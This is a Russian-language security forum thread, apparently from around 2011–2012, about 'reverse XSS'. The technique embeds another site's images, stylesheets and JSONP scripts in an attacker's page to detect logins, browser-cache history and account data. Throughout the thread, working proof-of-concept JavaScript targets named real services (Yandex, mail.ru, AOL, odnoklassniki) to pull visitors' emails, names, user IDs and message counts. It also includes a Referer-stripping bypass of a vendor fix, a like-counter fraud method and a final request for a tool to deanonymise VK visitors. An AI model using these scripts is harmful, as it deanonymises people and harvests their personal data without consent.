Наиболее известными клиентскими уязвимостями являются CSRF и XSS. CSRF позволяет выполнить определенное действие на сайте от имени пользователя. При этом нельзя получить доступ к данным в ответе сервера (без возможности внедрения скриптов на том же домене). XSS - это внедрение своего исполняемого кода в страницу уязвимого сайта. Обычно XSS разделяют по способу внедрения на пассивные, активные и DOM-based. В своей статье я хочу рассмотреть тип уязвимостей клиентской части, не вписывающийся в стандартную классификацию. Целью атаки будет являться получение какой-либо информации о пользователе уязвимого сайта. Способ эксплуатации этих уязвимостей прямо противоположный XSS - внедрение данных c уязвимого сайта в свою страницу, поэтому далее буду условно их называть "обратными XSS". Существует много типов данных, которые можно внедрить в страницу со стороннего сайта, но в этой теме будут описаны только 3 варианта: Изображения Таблицы стилей Скрипты 1) Изображения 1.1) Проверка формата файла. Тег img позволяет проверить, является ли правильным изображением файл, указанный в атрибуте src. Делается это с помощью событий onload и onerror. Этот тег может пригодиться для проверки авторизации на сайте, каких-либо пользовательских настроек и прав доступа, брута id пользователя, фотоальбомов, фотографий и т.д. На многих сайтах в HTTP-запросах передается обратная ссылка, на которую происходит перенаправление после выполнения запроса. Обычно редирект разрешен только на внутренние ссылки и только авторизованным пользователям. Наличие на сайте внутреннего редиректа, или изображения, доступного только для зарегистрированных пользователей, позволяет проверить авторизацию пользователя на сайте. <img src="[LINK]" onload="alert('good')" onerror="alert('bad')" width=0 /> Проверка авторизации: http://vkontakte.ru/login.php?to=ZmF2aWNvbi5pY28 http://fotostrana.ru/user/login/?redirect=/favicon.ico http://m.facebook.com/login/help/identify?select_user_url=/favicon.ico&email=[email protected] http://loveplanet.ru/a-logon/extend-cGF0aD1mYXZpY29uLmljbw http://e.mail.ru/cgi-bin/modifyevent?confirm=1&remove.x=0&remove.y=0&next_page=http://img.mail.ru/r/dumb.gif https://talkgadget.google.com/talkgadget/gauth?redirect=true&silent=true&host=http://www.google.com/favicon.ico http://www.hackzone.ru/memb/?a=do_login&bwurl1=/favicon.ico http://forum.antichat.ru/attachment.php?attachmentid=197 Другие проверки: Наличие "мира" на ящике мэйлру - http://my.mail.ru/bk/x/editinfo?Save=1&back=http://img.mail.ru/r/dumb.gif Модер - http://forum.antichat.ru/attachment.php?attachmentid=515 РОА - http://forum.antichat.ru/attachment.php?attachmentid=1474 1.2) Проверка размеров изображения JS позволяет проверить высоту и ширину элементов страницы, в том числе изображения в img. Чтобы получить правильный размер изображения, необходимо, чтобы оно загрузилось полностью. Для ускорения загрузки страниц, браузер сохраняет изображения в свой кэш. Значит можно проверить, посещал ли пользователь определенный сайт. Тестовым изображением будет рекламный баннер ачата: PHP: <script> onload = function() { var newImg = new Image(); newImg.style.visibility = 'hidden'; newImg.src = 'http://forum.antichat.ru/bn/insorg2.gif'; document.body.appendChild(newImg); if(newImg.offsetHeight != 60 && newImg.offsetWidth != 468) { alert('bad'); } else { alert('good'); } document.body.removeChild(newImg); }; </script> Если изображение в кэше браузера, оно загрузится мгновенно и размеры совпадут с заранее заданными. Если пользователь раньше не посещал форум, маловероятно, что изображение загрузится полностью на момент проверки ее размера. В качестве еще одного примера использования возьму foto.mail.ru. Пользователи этого сайта могут создавать закрытые альбомы. Все фотографии имеют порядковые номера. При удалении фотографий, ее номер больше не используется. Так же на сайте есть CSRF, позволяющая скопировать изображения из одного (закрытого) альбома в любой другой (открытый). Для эксплуатации CSRF нужно знать номера существующих фотографий. Перебирать все номера в CSRF-запросах неэффективно из-за большого объема ответа. При отсутствии файла на фотохостинге ответ выдается в виде изображения (поэтому нельзя проверить через onload/onerror) стандартного размера 320x240. PHP: <script> var myMail = 'mail/user_login/user_album/'; onload = function() { for(var i = 1; i <= 10; i++) { var newImg = new Image(); newImg.id = Math.random(); newImg.style = 'visibility:hidden'; newImg.onload = 'checkImg(' + newImg.id + ')'; newImg.onerror = 'removeImg(' + newImg.id + ')'; newImg.src = 'http://content.foto.mail.ru/' + myMail + 'i-' + i + '.gif'; document.body.appendChild(newImg); } }; function checkImg(imgId) { var newImg = document.getElementById(imgId); if(newImg.offsetHeight != 240 && newImg.offsetWidth != 320) { alert(newImg.src); removeImg(newImg); return; } removeImg(newImg); createImg(); }; function removeImg(imgId) { document.body.removeChild(document.getElementById(imgId)); }; </script> В алертах будут показаны ссылки на существующие фотографии. Вероятность того, что существующие фотографии будут иметь размер 320x240, достаточно низкая. 2) Стили 2.1) Проверка размеров определенного элемента страницы С помощью специально сформированной страницы можно проверить доступность css-файла. Также при различных пользовательских настройках css-файлы на сайтах могут отличаться. Для примера опять возьму редирект ВК: PHP: <head> <script> onload = function() { var newA = document.createElement('a'); newA.id = 'group'; document.body.appendChild(newA); if(newA.offsetHeight > 0) alert('good'); else alert('bad'); }; </script> <link rel="stylesheet" href="http://vkontakte.ru/login.php?to=Y3NzL2FsL2dyb3Vwcy5jc3M"/> </head> Если пользователь авторизован, в качестве таблицы стилей будет загружен файл "/css/al/groups.css" HTML: #group { padding: 10px 10px 0px; } Этот код увеличит высоту элемента с id == group на 10. Если пользователь не авторизован, стили не загрузятся, и высота элемента останется равной нулю. 2.2) Проверка кода ответа сервера Событие onload тега link, в отличие от тега img, не проверяет правильность формата файла в href, но позволяет проверить код состояния ответа. При "4xx: Client Error" и "5xx: Server Error" onload не срабатывает. <link rel="stylesheet" href="http://vkontakte.ru/login.php?to=LQ" onload="alert('bad')" /> Если пользователь авторизован - ответ "404 Not Found", событие onload не срабатывает. Если не авторизован - редирект на авторизацию и ответ "200 OK", событие onload срабатыват. <link rel="stylesheet" href="http://mirtesen.ru/profile/miniwizard/basic/json/" onload="alert('good')" /> Если пользователь авторизован - ответ "200 OK", событие onload срабатывает. Если не авторизован - форма авторизации с кодом состояния "401 Unauthorized", событие onload не срабатывает. Вернемся к примеру с изображениями на фотохостинге мэйлру. При отсутствии фотографии в ответе сервера будет изображение, но код состояния останется стандартным - "404 Not Found". PHP: <script> var myMail = 'mail/user_login/user_album/'; onload = function() { for(var i = 1; i <= 10; i++) { var newLink = document.createElement('link'); newLink.id = Math.random(); newLink.rel = 'stylesheet'; newLink.onload = 'checkLink(' + newLink.id + ')'; newLink.href = 'http://content.foto.mail.ru/' + myMail + 'i-' + i + '.gif'; document.body.appendChild(newLink); } }; function checkLink(linkId) { alert(document.getElementById(linkId).href); }; </script> В отличие от примера с img, здесь не будет ошибочных пропусков изображений размером 320x240. 3) Скрипты Первый пример стандартный. Нахождение скриптов, имеющих различное отображение при авторизации или различных настройках и правах пользователей. Для этого могут использоваться внутренние редиректы сайта или аттачи на форумах. <script src="http://vkontakte.ru/login.php?to=anMvYWwvYm94Lmpz" onload="alert('good')"></script> Событие onload срабатывает, если файл в src содержит правильный JS-код. Другой вариант аналогичной проверки: PHP: <head> <script> Aboutme = 0; getLang = null; onload = function() { if(Aboutme == 0) alert('bad'); else alert('good'); } </script> <script src="http://vkontakte.ru/login.php?to=anMvbGFuZzBfMC5qcw"></script> </head> Если пользователь авторизован, загружается скрипт, присваивающий переменной Aboutme значение, отличное от 0. После полной загрузки страницы проверяем эту переменную. В современном интернете динамическая подгрузка данных без полного обновления страницы фактически стала стандартом. Вместе с этим появилась новая опасность для пользователей. Некоторые сайты передают в скриптах информацию об авторизованном пользователе. Соц.сеть "страна друзей": PHP: <script> onload = function() { var s = document.createElement('script'); s.src = 'http://www.stranadruzey.ru/battle/ajax/userinfo/counters/?cb=a'; document.getElementsByTagName('head')[0].appendChild(s); }; function a(a) { alert(a.info.id); alert(a.info.photo); }; </script> В алертах будет показан id и ссылка на фото авторизованного пользователя соц.сети. Распространенная библиотека jQuery с помощью метода getJSON позволяет обмениваться данными между разными доменами используя тег script (формат JSONP). Если при вызове getJSON одному из параметров присваивается значение "?", при запросе библиотека генерирует в этом параметре название callback-функции. Пишем свою callback-функцию и передаем в нужном параметре ее имя. Крупные сайты тоже допускают подобные баги. PHP: <script> onload = function() { var s = document.createElement('script'); s.src = 'http://pass.yandex.ru/services?login=yes&callback=a'; document.getElementsByTagName('head')[0].appendChild(s); }; function a(a) { alert(a.login); for (var i in a.services) { alert (a.services[i].id); } }; </script> Яндекс - найдется все... Даже Ваш логин и список сервисов, которые активированы на Вашем аккаунте... Если callback-функция не передается, но в скрипте есть вызов какой-нибудь другой функции, ее можно подменить. Стандартный пример с проверкой авторизации: PHP: <head> <script> var bad = true; getLang = a; onload = function() { if(bad) alert('bad'); else alert('good'); }; function a(a) { bad = false; getLang = null; }; </script> <script src="http://vkontakte.ru/login.php?to=anMvbGFuZzBfMC5qcw"></script> </head> Если пользователь авторизован, загружается скрипт, содержащий вызов функции getLang. С помощью подмены этой функции изменяем значение переменной bad. После полной загрузки страницы проверяем переменную. AOL, как и Яндекс, может многое рассказать о своих пользователях: PHP: <head> <script src="http://mail.aol.com/common/bundle.js.aspx"></script> <script> onload = function() { eval = a; var s = document.createElement('script'); s.src = Config.BasePagesURL + 'common/settings.js.aspx'; document.getElementsByTagName('head')[0].appendChild(s); }; function a(a) { alert(a.ActiveUserEmailAddress); alert(a.FromDisplayName); var d = new Date(a.AOLCreateDate * 1000); alert(d.toGMTString()); }; </script> </head> Пример выводит почтовый адрес, фамилию, имя и дату регистрации аккаунта, но скрипт settings.js.aspx кроме этих данных содержит очень много интересной информации о пользователе и его активности на сервисах AOL'а. Путь к скриптам на aol.com не постоянный и зависит от местонахождения пользователя. Ссылки выглядят примерно так - "http://mail.aol.com/12345-123/aol-4/en-us/common/bundle.js.aspx" Если в адресе пропустить "12345-123/aol-4/en-us/" в большинстве случаев происходит редирект на правильный адрес. При запросе "common/settings.js.aspx" этого редиректа не происходит и данные о пользователе получить нельзя. Но немного поискав, можно найти файл "common/bundle.js.aspx", который успешно редиректится даже без полного пути. Содержимое его выглядит примерно так:var Config={"POPIMAPHelpLink":"[ссылка]",...,"BasePagesURL":"http://mail.aol.com/12345-123/aol-4/en-us/",...,"BaseImagesURL":"http://o.aolcdn.com/cdn.webmail.aol.com/12345/images/"}; Config.EnableTMZPanel=true; Config.OverridePlugins={"IDList":[]}; ... В переменной Config['BasePagesURL'] содержится нужная ссылка. "Обратные XSS" могут оказаться необходимым дополнением к другим видам атак. Например, CSRF (GET/POST) на aol.com невозможна знания полного пути к скриптам. http://m.aol.com/mail/12345-123/aol-4/en-us/Wap/ComposeHandler.aspx folder=&ActionL10n=Send&To=[Кому]&Subject=[Тема]&PlainBody=[Содержание] Вся информация взята из головы, другие источники не использовались. Если ранее где-то было опубликовано нечто подобное, напишите об этом в комментариях.
Копипаст одноименной темы из РОА от 11.10.2011. Тема скопирована не полностью, так как в оригинале есть рабочие примеры эксплуатации уязвимостей на крупных сайтах, приводящие к раскрытию личной информации.
Кэш браузера 4) Кэш браузера В пункте 1.2 был описан метод проверки изображений, находящихся в кэша браузера. Недавно я нашел интересный способ проверки кэширования не только изображений, но и текстовых файлов (html, js, css и т.д.). Об этом и пойдет речь. Same origin policy - политика безопасности браузера, которая запрещает страницам одного сайта получать информацию со страниц другого сайта. Если разместить на сайте domain.com страницу PHP: <script> function iframeLoad() { alert(document.frames[0].document.body.innerHTML); } </script> <iframe onload="iframeLoad()" src="http://domain2.com/page.htm"></iframe> то фрейм будет загружен, но алерта мы не увидим из-за ограничений same origin policy. Если ту же страницу разместить на сайте domain2.com, сработает алерт, которые выведет содержимое domain2.com/page.htm Проверим, как поведет себя браузер если загрузить во фрейм страницу своего сайта, а потом изменить ее на страницу другого сайта используя refresh. domain.com/page.htm PHP: <script> function iframeLoad() { alert('ok'); } </script> <iframe onload="iframeLoad()" src="http://domain.com/page2.htm"></iframe> domain.com/page2.htm PHP: <META HTTP-EQUIV="REFRESH" CONTENT="0;URL=http://domain2.com/page.htm"> Мы увидим два алерта. Это происходит потому, что событие onload срабатывает сначала при загрузке domain.com/page2.htm, а потом при загрузке domain2.com/page.htm. Попробуем вывести в алерте содержимое фрейма. Для этого немного изменим фукнцию iframeLoad() PHP: function iframeLoad() { alert(document.frames[0].document.body.innerHTML); } На этот раз будет показан только один алерт. Второй блокируется политикой безопасности. Но если вместо domain2.com/page.htm мы попробуем перенаправить фрейм на какой-нибудь кэшированный файл, ни одного алерта показано не будет. domain.com/page2.htm PHP: <META HTTP-EQUIV="REFRESH" CONTENT="0;URL=http://www.google.ru/favicon.ico"> Загрузка файла из кэша происходит настолько быстро, что на момент первого вызова функции iframeLoad() во фрейме уже находится страница другого сайта (в примере - www.google.ru) Если поведение браузера отличается при загруке из кэша и при загрузке с сайта, значит определение кешированных файлов возможно. PoC: check.php PHP: function checkCache() { // функция вызывается 2 раза: // при загрузке refresh.php // и при загрузке файла, на который происходит перенаправление checkCache = null; // отключение повторной сработки после refresh try { document.frames[0].document.body; // обращение к методам и свойствам других сайтов запрещено alert('bad'); // исключения не было. файл загружен с сайта } catch(e) { // если есть исключение, значит файл загружен из кэша alert('good'); } } </script> <iframe onload="setTimeout('checkCache()', <?php echo((int)$_GET['wait']); ?>)" src="refresh.php?url=<?php echo(htmlspecialchars($_GET['url'])); ?>"></iframe> refresh.php PHP: <META HTTP-EQUIV="REFRESH" CONTENT="0;URL=<?php echo(htmlspecialchars($_GET['url'])); ?>">
Дальше не читал. CSRF и XSS это не уязвимость, а всего лишь вектор атаки в контексте уязвимого приложения. https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29. Коли уж это форум об информационной безопасности, или, по крайней мере позиционирующий себя таковым, то кому как не почетному грин-мемберу тире модератору многих разделов, не знать о таких мелочах и деталях, не путаясь в терминологии, хотя бы.
Если вы не считаете CSRF и XSS уязвимостями, почему даете ссылку на страницу, в которой черном по белому написано "How to Avoid Cross-site scripting Vulnerabilities", "How to Review Code for Cross-site scripting Vulnerabilities", "How to Test for Cross-site scripting Vulnerabilities"? http://en.wikipedia.org/wiki/Cross-site_scripting "Cross-site scripting (XSS) is a type of computer security vulnerability..." http://www.securitylab.ru/analytics/292473.php "В последнее время в сообществе специалистов по безопасности Web-приложений широко обсуждается «новый» тип уязвимостей, получивший название Cross-Site Request Forgery (CSRF или XSRF). Предлагаемая вниманию читателя статья содержит описание этого типа уязвимостей, методов его использования и основные походы к защите." Конечно же, CSRF и XSS - это векторы атак, так же как и SQL-injection или LFI, к примеру. Но это не мешает существовать одноименным уязвимостям, приводящим к возможности проведения данных атак. Если я вас не убедил, тогда ответьте на вопрос - как называются уязвимости, которые дают возможность проведения CSRF и XSS атак?
В первом же предложении, по ссылке, которую я предложил, указано: PHP: Cross-site Scripting (XSS) This is an Attack. To view all attacks, please see the Attack Category page. Но ладно, не будем дергать из контекста статьи отдельные предложения и возьмем, примеру, другую классификацию, по WASC. PHP: http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting Project: WASC Threat Classification Threat Type: Attack PHP: http://projects.webappsec.org/w/page/13246934/Improper%20Output%20Handling Improper Input/Output Handling. Интерес представляет фраза: PHP: An application that does not provide data in the correct context may allow an attacker to abuse the data consumer. This can lead to specific threats referenced within the WASC Threat Classification, including Content Spoofing [6], Cross-Site Scripting [7], HTTP Response Splitting [8], HTTP Response Smuggling [9], LDAP Injection [10], OS Commanding [11], Routing Detour [12], Soap Array Abuse [13], URL Redirector [14], XML Injection [15], XQuery Injection [16], XPath Injection [17], Mail Command Injection [18], Null Injection [19] and SQL Injection [20]. В любом случае, мы возможно, излишне углубились в терминологию. А это явно попахивает дисциплиной специальной Олимпиады. Об этом вопросе можно долго спорить и перебрасываться ссылками на разные источники. Но, повторюсь, в моей картине мира, а также по классификация OWASP/WASC-коммьюнити, XSS - это следствие, а не причина, равно как и атака является следствием уязвимости, которая выступает причиной. Если же вас задел излишне резкий тон вчерашнего моего поста - то, признаю, я не несколько перегнул палку, ведь у вас может быть свое видение терминов и классификации в данном вопросе. В конце концов, вы черпаете информацию из одних источников, я из других. Каждый из нас, думается, в итоге останется при своем мнении, а значит дальнейший спор бессмысленен. Что касается сабжа: прочитал. Спасибо за труды.
Га-Ноцри, неформально XSS/CSRF называют уязвимостями все эксперты. кстати, там же в конце указаны "Null Injection [19] and SQL Injection". Их теперь тоже не считать уязвимостями? Представляю себе новость на секлабе: на таком-то сайт найдена уязвимость типа Improper Input/Output Handling. Скомпрометирована база пользователей. Жесть). Может стоит самому вначале разобраться что написано в источниках? и да, M_script не грин-мембер. Классификация закрытых групп тоже хромает
Еще не пора, потому что есть примеры, которые до сих пор работают. Но все равно выложу. Сначала то, что уже пофиксили: -------------------------------------------------- Логин на Яндексе <script src="http://passport.yandex.ru/passport?mode=testloginjs" onload="alert(window.pass_login)"></script> (нашел Uex Urgent) upd: Ящик mail.ru PHP: <script> onload = function() { var s = document.createElement('script'); s.src = 'http://swa.mail.ru/cgi-bin/counters?JSONP_call=a'; document.getElementsByTagName('head')[0].appendChild(s); }; function a(a) { alert(a.data.email); }; </script> (нашел Uex Urgent) -------------------------------------------------- Баг на mail.ru, позволяющий узнать ящик пользователя, попытались пофиксить. При запросе http://swa.mail.ru/cgi-bin/counters?JSONP_call=a теперь проверяется, чтобы сайт в реферере принадлежал мэйлру. Но если реферера нет, все работает нормально. Используем протокол data, чтобы убрать реферер: PHP: <iframe style="width:0px;height:0px;visibility:hidden" src="data:text/html;base64,PHNjcmlwdD5vbmxvYWQ9ZnVuY3Rpb24oKXtzPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3Muc3JjID0gJ2h0dHA6Ly9zd2EubWFpbC5ydS9jZ2ktYmluL2NvdW50ZXJzP0pTT05QX2NhbGw9YSc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKVswXS5hcHBlbmRDaGlsZChzKTt9O2Z1bmN0aW9uIGEoYSl7YWxlcnQoYS5kYXRhLmVtYWlsKTt9Ozwvc2NyaXB0Pg=="> -------------------------------------------------- Количество непрочитанных сообщений в ящике mail.ru PHP: <script> onload = function() { _Counters = new Object(); _Counters.prepare = a; var s = document.createElement('script'); s.src = 'http://my.mail.ru/mail/anyname/counters'; document.getElementsByTagName('head')[0].appendChild(s); }; function a(a) { alert(a.MailUnreadMessages); }; </script> Немного оффтопа: По той же ссылке http://my.mail.ru/mail/anyname/counters кроме счетчика писем есть счетчики данных из соц.сети "Мой Мир" - непрочтенные сообщения, приглашения в сообщества, заявки в друзья. Смотреть можно не только свои данные, но и любого другого юзера соц.сети. Информацию о username@domain.ru можно посмотреть по ссылке http://my.mail.ru/domain/username/counters Примечание: счетчик писем в ящике всегда показывает свое значение, независимо от пути в адресе counters --------------------------------------------------
Найдено в январе 2012, работает до сих пор: -------------------------------------------------- Имя, фамилия на odnoklassniki.ru PHP: <script> onload = function() { var s = document.createElement('script'); s.src = 'http://www.odnoklassniki.ru/mapi?query={"cmd":"getCounters","jsonPrefix":"a"}'; document.getElementsByTagName('head')[0].appendChild(s); }; function a(a) { alert(a.data.firstName + ' ' + a.data.lastName); }; </script> Примечаение: в реферере должен быть домен *.mail.ru --------------------------------------------------
Достаточно ценный баг. Умеет превращать дешевый траф в дорогие классы на сайтах. Работал 2 года, но после этого поста жить ему осталось не больше недели. -------------------------------------------------- odnoklassniki.ru Имя, фамилия, ID пользователя, ссылка на аватар. Реферер не проверяется. PHP: <script> onload = function() { var s = document.createElement('script'); s.src = 'http://www.odnoklassniki.ru/dk?st.cmd=shareData&ref=http://mail.ru/&cb=a'; document.head.appendChild(s); }; function a(a) { if(a.status == 'ok') { alert('Name: ' + a.name + '\nUserID: ' + a.uid); // алерт с именем, фамилией, id i = new Image(); i.src = a.avatarURL.replace('&','&'); // выводим аватар на страницу нашего сайта document.body.appendChild(i); } else { alert('Не авторизован'); } }; </script> ID пользователя дает ссылку на профиль - http://www.odnoklassniki.ru/profile/USERID photoType в avatarURL влияет на размер фото. UPD: Также в ответе сервера передается значение sign, которое используется как CSRF-токен при нажатии кнопки "Класс" на сайтах (http://api.mail.ru/sites/plugins/share/). Можно накрутить счетчик на любом сайте. При получении sign в параметре ref должна быть ссылка, на которой находится кнопка "Класс". http://www.odnoklassniki.ru/dk?st.cmd=shareData&ref=ССЫЛКА_НА_СТРАНИЦУ_С_КНОПКОЙ&cb=a POST-запрос на http://connect.mail.ru/share. Параметры запроса (в url то же, что в ref из первого запроса): ubershare=1 postType=share_like url=ССЫЛКА_НА_СТРАНИЦУ_С_КНОПКОЙ submitted=1 comment=КОММЕНТАРИЙ ok_uid=USERID ok_sig=SIGN --------------------------------------------------
M_script, очень интересно узнать технологию работы таких сервисов как sосfish и smmmаnagеr, позволяющих отследить ID VK пришедшего на сайт или прошедшего по ссылке пользователя. В Интернете есть немного инфы о том в каком направлении нужно работать (например здесь http://habrahabr.ru/post/228617/ и https://talk.pr-cy.ru/topic/8957-kak-rabotaet-opredelenie-stranitcy-polzovatel/?p=102653), но как сейчас реализовать подобный инструмент для личного использования? Что касается услуги определения прошедшего по ссылке пользователя в сервисе sосfish, она либо работает некорректно, либо я что то не понимаю, но фактически при прохождении по сгенерированной ссылке идёт перенаправление на приложние-шпион ВК, без дальнейшего перехода на заданную в сервисе целевую страницу. Вот 2 этапа по которым мы попадаем на страницу приложения: 1. 2. Наверняка все эти редиректы с параметрами созданы по причине масштабности проекта, что бы каждый "шпион" получал информацию только от своих ссылок, и наверняка эти параметры должны содержать информацию о конечном сайте (на который должен быть направлен пользователь после посещения приложения). Что происходит в приложении и как реализован сбор информации о посетителе БЕЗ установки этого приложения - для меня остаётся загадка, которую очень хочется разгадать Скорее всего, сбор информации о посетителях сайта (протестировать пока не решился, т.к. услуга платная и оплачивается единовременно за подключение сайта) происходит с помощью этого же приложения, методом подпихивания его (фрейм?) в основной контент страницы.
